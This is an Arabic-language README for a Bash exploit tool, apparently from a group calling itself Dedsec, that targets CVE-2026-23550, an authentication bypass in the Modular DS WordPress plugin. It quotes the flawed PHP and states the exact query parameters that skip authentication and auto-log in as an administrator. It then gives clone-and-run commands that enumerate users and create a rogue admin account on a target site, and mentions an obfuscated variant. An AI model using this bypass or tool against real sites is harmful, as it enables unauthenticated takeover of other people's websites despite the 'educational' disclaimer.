
# سكربت Bash لتعداد مستخدمي WordPress وإنشاء حساب مدير تلقائيًا يستغل ثغرة CVE-2026-23550 لتجاوز المصادقة وتحقيق استيلاء غير مصادق عليه على حساب المدير.
معرف CVE: CVE-2026-23550 درجة CVSS: 10.0 (حرجة) الملحق المتأثر: إضافة Modular DS لووردبريس الإصدارات المتأثرة: جميع الإصدارات حتى 2.5.1 وما يشملها الإصدار المُصحح: 2.5.2 (صدر في 14 يناير 2026) الاستغلال النشط: مؤكد في البرية منذ 13 يناير 2026
تعرض هذه الإضافة مسارات API الخاصة بها تحت البادئة /api/modular-connector/.
يتم تجميع هذه المسارات خلف برمجية وسيطة للمصادقة في RouteServiceProvider.php.
ومع ذلك، يمكن تجاوز المصادقة باستخدام طريقة isDirectRequest() المعيبة.
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
طريقة التجاوز بسيطة للغاية: فقط قم بتضمين المعاملات origin=mo&type=anything في الطلب. لا يوجد أي تحقق من التوقيع أو السر أو عنوان IP أو وكيل المستخدم الإلزامي – هذه المعاملات وحدها كافية لجعل الطلب يُعتبر "طلبًا مباشرًا من Modular"
بمجرد اعتبار الطلب "مباشرًا"، تتحقق برمجية المصادقة الوسيطة في ModularGuard.php فقط من اتصال الموقع بـ Modular عبر validateOrRenewAccessToken(). لا يوجد أي رابط تشفيري بين الطلب الوارد و Modular نفسه.
المسارات المكشوفة مع نجاح تجاوز المصادقة، يمكن للمهاجم الوصول إلى:
/login/{modular_request} – تسجيل دخول عن بُعد (وصول المسؤول)
/server-information – بيانات نظام حساسة
/users/{modular_request} – تعداد المستخدمين
/backup/* – نسخ احتياطية للموقع
/cache/clear – مسح ذاكرة التخزين المؤقت
/manager/* – وظائف الإدارة
/woocommerce/{modular_request} – إحصائيات WooCommerce
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
إذا لم يكن هناك معرف مستخدم في جسم الطلب، سيبحث الكود عن أي مسؤول موجود (getAdminUser()) ويسجل الدخول مباشرة.
المؤلف: (فريق Dedsec) الوصف: سكربت باش قوي لتعداد مستخدمي ووردبريس وإنشاء حسابات مسؤول تلقائيًا. صُمم للأغراض التعليمية واختبارات الأمان المصرح بها فقط.
/?author=1, /?author=2, إلخ.)curl (لطلبات HTTP)base64 (إذا كنت تستخدم النسخة المشوشة، هيهي)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [options] <target_url>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d